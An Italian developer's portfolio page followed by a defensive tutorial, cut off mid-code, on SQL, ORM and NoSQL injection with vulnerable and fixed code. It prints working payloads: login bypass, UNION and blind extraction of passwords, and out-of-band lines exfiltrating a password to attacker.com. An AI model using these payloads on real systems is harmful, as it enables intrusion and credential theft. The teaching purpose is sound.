Creo applicazioni web moderne e strumenti digitali personalizzati per aiutare le attività a crescere attraverso l'innovazione tecnologica. La mia passione è unire informatica ed economia per generare valore reale.
La mia passione per l'informatica è nata tra i banchi dell'Istituto Tecnico Commerciale di Maglie, dove ho scoperto il potere della programmazione e il fascino di creare soluzioni digitali. Fin da subito, ho capito che l'informatica non era solo codice, ma uno strumento straordinario per trasformare idee in realtà.
Durante gli studi superiori in Sistemi Informativi Aziendali, ho iniziato a intrecciare informatica ed economia, comprendendo come la tecnologia possa essere il motore della crescita per qualsiasi attività. Questa visione mi ha accompagnato all'Università degli Studi di Bari, dove ho conseguito la Laurea in Informatica, approfondendo le mie competenze tecniche e la mia passione per lo sviluppo software.
Oggi metto questa esperienza al servizio di imprese, professionisti e startup, creando soluzioni digitali su misura che automatizzano processi, ottimizzano risorse e aprono nuove opportunità di business. Perché la vera innovazione inizia quando la tecnologia incontra le esigenze reali delle persone.
Le Mie Competenze
Analisi Dati & Modelli Previsionali
Trasformo i dati in insights strategici con analisi approfondite e modelli predittivi per decisioni informate
Automazione Processi
Creo strumenti personalizzati che automatizzano operazioni ripetitive e liberano tempo per attività a valore aggiunto
Sistemi Custom
Sviluppo sistemi software su misura, dalle integrazioni tra piattaforme alle dashboard personalizzate
Credo fermamente che l'informatica sia lo strumento più potente per trasformare le idee in realtà e migliorare la vita delle persone.
Democratizzare la Tecnologia
La mia missione è rendere l'informatica accessibile a tutti: dalle piccole imprese locali alle startup innovative, fino ai professionisti che vogliono digitalizzare la propria attività. Ogni realtà merita di sfruttare le potenzialità del digitale.
Unire Informatica ed Economia
Non è solo questione di scrivere codice: è capire come la tecnologia possa generare valore reale. Intrecciando competenze informatiche e visione economica, aiuto le attività a crescere, ottimizzare processi e raggiungere nuovi traguardi di efficienza e redditività.
Creare Soluzioni su Misura
Ogni attività è unica, e così devono esserlo le soluzioni. Sviluppo strumenti personalizzati che rispondono alle esigenze specifiche di ciascun cliente, automatizzando processi ripetitivi e liberando tempo per ciò che conta davvero: far crescere il business.
Trasforma la Tua Attività con la Tecnologia
Che tu gestisca un negozio, uno studio professionale o un'azienda, posso aiutarti a sfruttare le potenzialità dell'informatica per lavorare meglio, più velocemente e in modo più intelligente.
Il mio percorso accademico e le tecnologie che padroneggio
Certificazioni Professionali
8 certificazioni conseguite
Nuovo
Visualizza
Reinvention With Agentic AI Learning Program
Anthropic
Dicembre 2024
Nuovo
Visualizza
Agentic AI Fluency
Anthropic
Dicembre 2024
Nuovo
Visualizza
AI Fluency for Students
Anthropic
Dicembre 2024
Nuovo
Visualizza
AI Fluency: Framework and Foundations
Anthropic
Dicembre 2024
Nuovo
Visualizza
Claude with the Anthropic API
Anthropic
Dicembre 2024
Visualizza
Master SQL
RoadMap.sh
Novembre 2024
Visualizza
Oracle Certified Foundations Associate
Oracle
Ottobre 2024
Visualizza
People Leadership Credential
Connect
Settembre 2024
Linguaggi & Tecnologie
Java
Python
JavaScript
Angular
React
TypeScript
SQL
PHP
CSS/SCSS
Node.js
Docker
Git
💼
12/2024 - Presente
Custom Software Engineering Analyst
Accenture
Bari, Puglia, Italia · Ibrida
Analisi e sviluppo di sistemi informatici attraverso l'utilizzo di Java e Quarkus in Health and Public Sector. Formazione continua su tecnologie moderne per la creazione di soluzioni software personalizzate ed efficienti e sugli agenti.
💼
06/2022 - 12/2024
Analista software e Back End Developer Associate Consultant
Links Management and Technology SpA
Esperienza nell'analisi di sistemi software as-is e flussi ETL utilizzando PowerCenter. Formazione completata su Spring Boot per lo sviluppo di applicazioni backend moderne e scalabili. Sviluppatore Backend specializzato in Spring Boot, con esperienza in progettazione di database, analisi, sviluppo e testing dei task assegnati.
💼
02/2021 - 10/2021
Programmatore software
Adesso.it (prima era WebScience srl)
Esperienza nell'analisi AS-IS e TO-BE, evoluzioni SEO ed evoluzioni website per migliorare le performance e l'engagement degli utenti.
🎓
2018 - 2025
Laurea in Informatica
Università degli Studi di Bari Aldo Moro
Bachelor's degree in Computer Science, focusing on software engineering, algorithms, and modern development practices.
📚
2013 - 2018
Diploma - Sistemi Informativi Aziendali
Istituto Tecnico Commerciale di Maglie
Technical diploma specializing in Business Information Systems, combining IT knowledge with business management.
Contattami
Hai un progetto in mente? Parliamone! Compila il form qui sotto e ti risponderò al più presto.
* Campi obbligatori. I tuoi dati saranno utilizzati solo per rispondere alla tua richiesta.
03 - SQL Injection e Input Validation: Backend Security
La SQL injection e una delle vulnerabilità più antiche e più pericolose del web. Documentata per la prima volta alla fine degli anni '90, e ancora oggi al centro di violazioni di dati catastrofiche: nel 2024, secondo il Verizon DBIR, le SQL injection e altri attacchi alle web application hanno causato il 26% di tutti i data breach. Nel 2025 sono attesi oltre 2.600 CVE legati a SQL injection, in aumento rispetto ai 2.400 del 2024.
Non si tratta solo di query SQL classiche. Oggi le minacce si estendono alle ORM injection su TypeORM e Prisma, alle NoSQL injection su MongoDB, e agli attacchi di seconda generazione che sfruttano dati già presenti nel database. Questo articolo analizza ogni variante con codice vulnerabile e sicuro in Node.js, Python e Java, e fornisce una strategia difensiva completa per il backend.
Cosa Imparerai
Anatomia completa di una SQL injection: UNION, blind, time-based, error-based, out-of-band
Second-order SQL injection: come funziona e perchè sfugge ai controlli superficiali
ORM injection su TypeORM e Prisma con esempi pratici
NoSQL injection su MongoDB con operatori come $ne e $regex
Prepared statements e parameterized queries in Node.js, Python e Java
Input validation con Zod (Node.js), Pydantic (Python) e Bean Validation (Java)
Database hardening e principio di minimo privilegio
Come usare SQLMap per testare le proprie applicazioni
Case study reali: MOVEit Transfer, TSA FlyCASS, ResumeLooters
Anatomia di una SQL Injection
Una SQL injection si verifica quando input non validato dell'utente viene concatenato direttamente in una query SQL, permettendo all'attaccante di modificare la logica della query stessa. Il problema fondamentale e architetturale: trattare i dati come codice eseguibile.
Consideriamo il caso più semplice, una pagina di login in Node.js che costruisce la query con concatenazione di stringhe:
// CODICE VULNERABILE - Node.js con mysql2
const express = require('express');
const mysql = require('mysql2/promise');
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// VULNERABILE: concatenazione diretta di input utente
const query = `SELECT * FROM users
WHERE username = '
#123;username}'
AND password = '#123;password}'`;
const [rows] = await db.execute(query);
if (rows.length > 0) {
res.json({ success: true, user: rows[0] });
} else {
res.status(401).json({ error: 'Credenziali non valide' });
}
});
// ATTACCO: username = "admin' --"
// Query risultante:
// SELECT * FROM users
// WHERE username = 'admin' --' AND password = '...'
// Il -- commenta il resto: accesso garantito senza password!
Le Cinque Tipologie di SQL Injection
1. Classic / UNION-Based
L'attaccante usa l'operatore UNION per aggiungere una seconda query ai risultati della prima. Richiede che la risposta dell'applicazione includa i dati della query:
-- Payload UNION-based: estrae utenti dalla tabella users
-- Input: id = 1 UNION SELECT username, password, NULL FROM users --
-- Query originale:
SELECT product_name, price, description FROM products WHERE id = 1
-- Query iniettata:
SELECT product_name, price, description FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users --
-- Prerequisito: stesso numero di colonne, tipi compatibili
2. Blind Boolean-Based
L'applicazione non mostra i dati del database, ma cambia comportamento (es. mostra o nasconde contenuto) in base alla verita/falsita della condizione iniettata. L'attaccante inferisce informazioni bit per bit:
-- Payload boolean-based: verifica se la prima lettera dell'utente e 'a'
-- Se la pagina risponde normalmente: condizione vera
-- Se la pagina e vuota: condizione falsa
-- Vero (pagina normale):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'
-- Falso (pagina vuota):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='b'
-- Automatizzabile con sqlmap o script custom per estrarre dati carattere per carattere
3. Blind Time-Based
Quando l'applicazione non cambia risposta in alcun modo visibile, l'attaccante usa funzioni che causano ritardi nel database per inferire informazioni dal tempo di risposta:
-- MySQL: SLEEP() per estrarre informazioni dal timing
-- Se la risposta impiega 5 secondi: condizione vera
-- Se risponde subito: condizione falsa
-- Verifica se il database si chiama 'production':
GET /product?id=1 AND IF(
(SELECT database())='production',
SLEEP(5),
0
) --
-- PostgreSQL equivalente con pg_sleep():
-- id=1; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
-- Microsoft SQL Server:
-- id=1; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
4. Error-Based
L'attaccante forza il database a generare messaggi di errore che contengono dati estratti. Funziona quando l'applicazione mostra gli errori del database all'utente (misconfiguration frequente in ambienti di sviluppo mal configurati per la produzione):
-- MySQL error-based: extractvalue() genera un errore con il valore estratto
-- id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))
-- Errore restituito all'utente:
-- ERROR 1105 (HY000): XPATH syntax error: '~production_db'
-- L'attaccante ottiene il nome del database dall'errore!
-- PostgreSQL: cast di tipo per forzare errore
-- id=1 AND cast((SELECT version()) as int)
-- Error: invalid input syntax for type integer:
-- "PostgreSQL 15.2 on x86_64-pc-linux-gnu"
5. Out-of-Band (OOB)
Tecnica avanzata che esfiltrata dati attraverso canali alternativi (DNS lookup, HTTP request) anzi che attraverso la risposta HTTP normale. Utile quando i canali in-band sono bloccati:
-- MySQL OOB via DNS (richiede FILE privilege e outbound DNS):
-- id=1 AND load_file(concat('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x'))
-- Microsoft SQL Server OOB via HTTP (xp_dirtree o sp_makewebtask):
-- id=1; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '\share'
-- L'attaccante vede la richiesta nei log DNS di attacker.com:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
Second-Order SQL Injection: La Minaccia Nascosta
La second-order SQL injection (o stored SQL injection) e una delle vulnerabilità più insidiose perchè sfugge ai controlli di sicurezza standard. Il payload non viene eseguito immediatamente al momento dell'inserimento, ma viene salvato nel database e poi recuperato e usato in una query successiva senza adeguata sanitizzazione.
Questo scenario e particolarmente pericoloso perchè: il codice di inserimento può essere corretto e sicuro, ma il codice di lettura e utilizzo e vulnerabile. I test di penetrazione superficiali spesso non la rilevano.
// SCENARIO: registrazione utente e cambio password
// FASE 1 - Registrazione (apparentemente sicura con prepared statement)
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Usa prepared statement - sembra sicuro!
await db.execute(
'INSERT INTO users (username, password) VALUES (?, ?)',
[username, hash(password)]
);
// L'attaccante si registra con username: admin'--
// Salvato correttamente nel DB come stringa: admin'--
});
// FASE 2 - Cambio password (VULNERABILE: costruisce query con dato dal DB)
app.post('/change-password', async (req, res) => {
const userId = req.session.userId;
// Recupera username dal DB (sembra "sicuro" perchè viene dal nostro DB)
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username; // = "admin'--"
const { newPassword } = req.body;
// VULNERABILE: concatena username recuperato dal DB
const query = `UPDATE users SET password = '#123;hash(newPassword)}'
WHERE username = '#123;username}'`;
// Query risultante:
// UPDATE users SET password = 'newhash' WHERE username = 'admin'--'
// Aggiorna la password dell'admin, non dell'attaccante!
await db.execute(query);
});
// SOLUZIONE: usa parameterized query ANCHE quando i dati vengono dal DB
app.post('/change-password-safe', async (req, res) => {
const userId = req.session.userId;
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username;
const { newPassword } = req.body;
// SICURO: prepared statement anche per dati interni
await db.execute(
'UPDATE users SET password = ? WHERE username = ?',
[hash(newPassword), username]
);
});
Regola d'Oro per Second-Order Injection
Tratta SEMPRE come non trusted i dati che provengono dal database, specialmente se originariamente inseriti da utenti. Il fatto che un dato venga dal tuo database non lo rende automaticamente sicuro da usare in una query. Usa sempre parameterized queries, indipendentemente dalla fonte del dato.
Parameterized Queries: La Difesa Principale
I prepared statements (o parameterized queries) sono la contromisura più efficace contro SQL injection. Il principio e semplice: la struttura della query viene inviata al database separatamente dai dati, in due fasi distinte. Il database compila il piano di esecuzione prima di ricevere i dati, che non possono quindi modificare la logica della query.
Node.js con mysql2
// SICURO: parameterized queries con mysql2
const mysql = require('mysql2/promise');
const pool = mysql.createPool({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME,
// Opzione di sicurezza: disabilita multiple statements
multipleStatements: false,
});
// Login sicuro
async function loginUser(username, password) {
// Il ? e un placeholder: mysql2 gestisce l'escaping automaticamente
const [rows] = await pool.execute(
'SELECT id, username, role FROM users WHERE username = ? AND password = ?',
[username, hashPassword(password)]
);
return rows[0] || null;
}
// Ricerca con LIKE sicura
async function searchProducts(searchTerm, category, limit = 20) {
// Anche i wildcard % devono essere nel parametro, non nella query
const likeTerm = `%#123;searchTerm}%`;
const [rows] = await pool.execute(
`SELECT id, name, price FROM products
WHERE name LIKE ? AND category = ?
LIMIT ?`,
[likeTerm, category, limit]
);
return rows;
}
// Inserimento sicuro con validazione
async function createUser(userData) {
const { username, email, password, role = 'user' } = userData;
// Whitelist per il campo role (non parametrizzabile come identifier)
const allowedRoles = ['user', 'moderator'];
if (!allowedRoles.includes(role)) {
throw new Error('Ruolo non valido');
}
const [result] = await pool.execute(
'INSERT INTO users (username, email, password_hash, role) VALUES (?, ?, ?, ?)',
[username, email, hashPassword(password), role]
);
return result.insertId;
}
Python con psycopg2 (PostgreSQL)
# SICURO: parameterized queries con psycopg2
import psycopg2
import psycopg2.extras
from contextlib import contextmanager
@contextmanager
def get_db_connection():
conn = psycopg2.connect(
host=os.environ['DB_HOST'],
database=os.environ['DB_NAME'],
user=os.environ['DB_USER'],
password=os.environ['DB_PASSWORD']
)
try:
yield conn
finally:
conn.close()
def get_user_by_id(user_id: int) -> dict | None:
"""
Usa %s come placeholder (NON f-string o format()).
psycopg2 gestisce l'escaping dei parametri in modo sicuro.
"""
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
# Corretto: placeholder %s con tupla di parametri
cur.execute(
"SELECT id, username, email, role FROM users WHERE id = %s",
(user_id,) # Nota la virgola: deve essere una tupla
)
return cur.fetchone()
def search_users(filters: dict) -> list[dict]:
"""
Costruzione dinamica sicura di query con parametri multipli.
Evita di costruire SQL dinamico con concatenazione.
"""
conditions = []
params = []
if 'username' in filters:
conditions.append("username ILIKE %s")
params.append(f"%{filters['username']}%")
if 'role' in filters:
# Whitelist per valori enumerati
allowed_roles = {'user', 'admin', 'moderator'}
if filters['role'] not in allowed_roles:
raise ValueError(f"Ruolo non valido: {filters['role']}")
conditions.append("role = %s")
params.append(filters['role'])
where_clause = " AND ".join(conditions) if conditions else "TRUE"
query = f"SELECT id, username, email, role FROM users WHERE {where_clause}"
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute(query, params)
return cur.fetchall()
# SBAGLIATO - Non fare mai questo:
# cur.execute(f"SELECT * FROM users WHERE id = {user_id}") # f-string = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = " + str(user_id)) # concatenazione = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = %s" % user_id) # % formatting = vulnerabile
Java con JDBC PreparedStatement
// SICURO: PreparedStatement con JDBC in Java
import java.sql.*;
import java.util.Optional;
public class UserRepository {
private final DataSource dataSource;
public UserRepository(DataSource dataSource) {
this.dataSource = dataSource;
}
// SICURO: PreparedStatement parametrizzato
public Optional<User> findByUsername(String username) {
String sql = "SELECT id, username, email, role FROM users WHERE username = ?";
try (Connection conn = dataSource.getConnection();
PreparedStatement stmt = conn.prepareStatement(sql)) {
stmt.setString(1, username); // Parametro 1-indexed
ResultSet rs = stmt.executeQuery();
if (rs.next()) {
return Optional.of(new User(
rs.getLong("id"),
rs.getString("username"),
rs.getString("email"),
rs.getString("role")
));
}
return Optional.empty();
} catch (SQLException e) {
throw new DatabaseException("Errore nella ricerca utente", e);
}
}
// Inserimento sicuro con transazione
public long createUser(String username, String email, String passwordHash) {
String sql = "INSERT INTO users (username, email, password_hash, created_at) " +
"VALUES (?, ?, ?, NOW())";
try (Connection conn = dataSource.getConnection()) {
conn.setAutoCommit(false);
try (PreparedStatement stmt = conn.prepareStatement(
sql, Statement.RETURN_GENERATED_KEYS)) {
stmt.setString(1, username);
stmt.setString(2, email);
stmt.setString(3, passwordHash);
stmt.executeUpdate();
conn.commit();
ResultSet keys = stmt.getGeneratedKeys();
if (keys.next()) {
return keys.getLong(1);
}
throw new DatabaseException("Impossibile ottenere ID generato");
} catch (SQLException e) {
conn.rollback();
throw new DatabaseException("Errore creazione utente", e);
}
} catch (SQLException e) {
throw new DatabaseException("Errore connessione database", e);
}
}
// SBAGLIATO - Statement.execute() con concatenazione:
// String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// stmt.execute(sql); // MAI fare questo!
}
ORM Injection: Quando "Sicuro" Non E Abbastanza
Molti developer credono erroneamente che l'uso di un ORM (Object-Relational Mapper) elimini automaticamente il rischio di SQL injection. In realta, secondo uno studio del 2025, oltre il 30% delle applicazioni che usano ORM contengono ancora vulnerabilità di SQL injection a causa di pattern d'uso errati. Vediamo i casi più comuni.
TypeORM: Raw Queries e QueryBuilder
// TypeORM - Pattern VULNERABILI vs SICURI
import { DataSource, Repository } from 'typeorm';
import { User } from './entities/User';
// VULNERABILE 1: query() con interpolazione di stringa
async function findUserVulnerable(username: string) {
const result = await dataSource.query(
`SELECT * FROM users WHERE username = '#123;username}'`
// Se username = "admin' OR '1'='1", bypass immediato!
);
return result;
}
// SICURO 1: query() con parametri posizionali
async function findUserSafe(username: string) {
const result = await dataSource.query(
'SELECT id, username, email FROM users WHERE username = $1',
[username] // Parametri come array separato
);
return result;
}
// VULNERABILE 2: QueryBuilder con where() e interpolazione
async function searchUserVulnerable(role: string, search: string) {
return await dataSource
.createQueryBuilder(User, 'user')
.where(`user.role = '#123;role}' AND user.username LIKE '%#123;search}%'`)
// Interpolazione diretta = SQL injection!
.getMany();
}
// SICURO 2: QueryBuilder con parametri nominati
async function searchUserSafe(role: string, search: string) {
// Whitelist per campi enumerati come role
const allowedRoles = ['user', 'admin', 'moderator'] as const;
if (!allowedRoles.includes(role as any)) {
throw new Error('Ruolo non valido');
}
return await dataSource
.createQueryBuilder(User, 'user')
.where('user.role = :role AND user.username LIKE :search', {
role, // Parametro nominato :role
search: `%#123;search}%` // Il % viene nel parametro, non nella query
})
.select(['user.id', 'user.username', 'user.email'])
.getMany();
}
// SICURO 3: Repository API (il modo più sicuro con TypeORM)
async function findUsersByRoleSafe(
userRepository: Repository<User>,
role: string
) {
return await userRepository.findBy({ role });
// TypeORM genera automaticamente query parametrizzate
}
// SICURO 4: find() con condizioni complesse
async function findActiveUsersSafe(
userRepository: Repository<User>
) {
return await userRepository.find({
where: {
isActive: true,
role: 'user'
},
select: {
id: true,
username: true,
email: true
},
take: 100 // Limita i risultati
});
}
Prisma: Il Caso $queryRaw
Prisma e generalmente considerato sicuro per le query standard, ma i metodi $queryRaw e $executeRaw richiedono attenzione speciale. Ricerche del 2025 hanno dimostrato che Prisma può essere vulnerabile ad attacchi time-based attraverso operatori JSON e funzioni di database.
// Prisma - Pattern VULNERABILI vs SICURI
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
// VULNERABILE: $queryRaw con template literal non sicuro
async function getUserVulnerable(userId: string) {
// MAI usare $queryRawUnsafe con input utente!
const result = await prisma.$queryRawUnsafe(
`SELECT * FROM users WHERE id = #123;userId}`
// userId = "1 OR 1=1" bypassa il filtro!
);
return result;
}
// SICURO 1: $queryRaw con tagged template literals
// Prisma parametrizza automaticamente le interpolazioni nel tagged template
async function getUserSafe(userId: number) {
// Nota: usa Prisma.sql template tag, NON stringa normale
const result = await prisma.$queryRaw`
SELECT id, username, email FROM users WHERE id = #123;userId}
`;
// Prisma converte #123;userId} in un parametro preparato automaticamente
return result;
}
// SICURO 2: Usa l'API standard di Prisma quando possibile
async function getUserWithOrders(userId: number) {
return await prisma.user.findUnique({
where: { id: userId },
select: {
id: true,
username: true,
email: true,
orders: {
where: { status: 'active' },
take: 10
}
}
});
// Completamente sicuro: Prisma genera prepared statements
}
// ATTENZIONE: Prisma findMany con where esposto all'utente
// VULNERABILE: ORM Leak - espone troppi dati
async function searchUsersVulnerable(userFilter: any) {
return await prisma.user.findMany({
where: userFilter, // L'utente controlla il where = ORM Leak!
// Un attaccante può usare: { password: { startsWith: 'a' } }
// Per estrarre la password carattere per carattere (timing attack)
});
}
// SICURO: schema di validazione strict per i filtri
import { z } from 'zod';
const UserSearchSchema = z.object({
username: z.string().max(50).optional(),
email: z.string().email().optional(),
role: z.enum(['user', 'moderator']).optional(),
});
async function searchUsersSafe(rawFilter: unknown) {
// Valida e trasforma il filtro con schema strict
const validFilter = UserSearchSchema.parse(rawFilter);
return await prisma.user.findMany({
where: validFilter, // Solo campi consentiti e validati
select: { // Seleziona esplicitamente i campi
id: true,
username: true,
email: true,
role: true,
},
take: 50,
});
}
NoSQL Injection: MongoDB e gli Operatori Pericolosi
Le applicazioni che usano database NoSQL come MongoDB non sono immuni alle injection. Gli attacchi NoSQL sfruttano gli operatori di query del database (come $ne, $gt, $regex) per modificare la logica delle query. Il vettore di attacco tipico e un JSON body malformato in una richiesta HTTP.
// MongoDB con Mongoose - VULNERABILE
const express = require('express');
const User = require('./models/User');
// VULNERABILE: usa direttamente req.body come query MongoDB
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Se il body e: { "username": { "$ne": null }, "password": { "$ne": null } }
// La query diventa: WHERE username != null AND password != null
// Ritorna il PRIMO utente nel DB, bypass completo!
const user = await User.findOne({ username, password });
if (user) {
res.json({ token: generateToken(user) });
} else {
res.status(401).json({ error: 'Non autorizzato' });
}
});
// Payload di attacco (come JSON body):
// {
// "username": { "$ne": null },
// "password": { "$ne": null }
// }
// Altri payload comuni:
// { "username": { "$regex": ".*" } } -- match qualsiasi username
// { "password": { "$gt": "" } } -- password > stringa vuota (sempre vero)
// { "username": { "$in": ["admin", "root", "administrator"] } }
// MongoDB con Mongoose - SICURO
const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const { z } = require('zod');
const bcrypt = require('bcrypt');
// 1. Middleware globale di sanitizzazione
app.use(mongoSanitize({
replaceWith: '_', // Sostituisce $ con _ negli operatori
onSanitizeError(req, res) {
res.status(400).json({ error: 'Input non valido' });
}
}));
// 2. Schema Zod per validazione strict del tipo
const LoginSchema = z.object({
username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_]+$/),
password: z.string().min(8).max(128),
});
// SICURO: validazione + hashing password + nessuna query con password in chiaro
app.post('/login', async (req, res) => {
try {
// Valida il tipo: username e password DEVONO essere stringhe
const { username, password } = LoginSchema.parse(req.body);
// Cerca per username (stringa validata, non oggetto)
const user = await User.findOne({ username }).select('+password');
if (!user) {
// Tempo di risposta costante per prevenire timing attacks
await bcrypt.compare(password, '$2b$10$placeholder.hash.here.for.timing');
return res.status(401).json({ error: 'Credenziali non valide' });
}
// Verifica password con bcrypt (non in chiaro nel DB)
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).json({ error: 'Credenziali non valide' });
}
res.json({ token: generateToken(user) });
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({ error: 'Formato input non valido' });
}
// Non esporre dettagli dell'errore interno
res.status(500).json({ error: 'Errore del server' });
}
});
// 3. Mongoose schema con strict mode (default: true)
const userSchema = new mongoose.Schema({
username: { type: String, required: true, unique: true },
email: { type: String, required: true },
password: { type: String, required: true, select: false },
role: { type: String, enum: ['user', 'admin', 'moderator'], default: 'user' }
}, {
strict: true, // Ignora campi non definiti nello schema
// sanitizeFilter: true // Mongoose 6+: sanitizza automaticamente i query operator
});
// 4. Usa sanitizeFilter per query che accettano filtri utente
const UserModel = mongoose.model('User', userSchema);
async function findUsersByFilter(rawFilter) {
// sanitizeFilter: true nel modello previene ORM injection
// oppure usa questo approccio esplicito:
return await UserModel.find(rawFilter).sanitizeFilter(true);
}
Input Validation: La Prima Linea di Difesa
Le parameterized queries proteggono contro SQL injection, ma l'input validation e la prima barriera difensiva e riduce la superficie di attacco in modo significativo. Una validazione robusta segue il principio di allowlist (specifica cosa e permesso) piuttosto che blocklist (specifica cosa e proibito).
Zod per Node.js/TypeScript
// Input validation con Zod - Node.js/TypeScript
import { z } from 'zod';
// Schema riutilizzabile per parametri comuni
const IdSchema = z.coerce.number().int().positive().max(2147483647);
const PaginationSchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
sortBy: z.enum(['created_at', 'username', 'email']).default('created_at'),
sortOrder: z.enum(['asc', 'desc']).default('desc'),
});
// Schema per creazione utente
const CreateUserSchema = z.object({
username: z
.string()
.min(3, 'Username troppo corto')
.max(50, 'Username troppo lungo')
.regex(/^[a-zA-Z0-9_-]+$/, 'Caratteri non consentiti nell\'username'),
email: z
.string()
.email('Formato email non valido')
.max(255),
password: z
.string()
.min(8, 'Password troppo corta')
.max(128, 'Password troppo lunga')
.regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
'La password deve contenere maiuscole, minuscole, numeri e caratteri speciali'
),
role: z.enum(['user', 'moderator']).default('user'),
});
// Middleware di validazione generico per Express
function validateBody<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Dati non validi',
details: result.error.issues.map(issue => ({
field: issue.path.join('.'),
message: issue.message,
})),
});
}
req.body = result.data; // Sostituisce con dati validati e tipizzati
next();
};
}
function validateQuery<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.query);
if (!result.success) {
return res.status(400).json({
error: 'Parametri query non validi',
details: result.error.issues,
});
}
req.validatedQuery = result.data;
next();
};
}
// Uso nei router
app.post('/api/users',
validateBody(CreateUserSchema),
async (req, res) => {
// req.body e ora tipizzato e validato
const user = await createUser(req.body);
res.status(201).json({ id: user.id });
}
);
app.get('/api/products',
validateQuery(PaginationSchema),
async (req, res) => {
const { page, limit, sortBy, sortOrder } = req.validatedQuery;
const products = await getProducts(page, limit, sortBy, sortOrder);
res.json(products);
}
);
Pydantic per Python/FastAPI
# Input validation con Pydantic v2 - Python/FastAPI
from pydantic import BaseModel, Field, field_validator, EmailStr
from typing import Literal
from enum import Enum
import re
class UserRole(str, Enum):
user = "user"
moderator = "moderator"
admin = "admin"
class CreateUserRequest(BaseModel):
username: str = Field(
min_length=3,
max_length=50,
description="Username alfanumerico"
)
email: EmailStr
password: str = Field(min_length=8, max_length=128)
role: UserRole = UserRole.user
@field_validator('username')
@classmethod
def username_alphanumeric(cls, v: str) -> str:
if not re.match(r'^[a-zA-Z0-9_-]+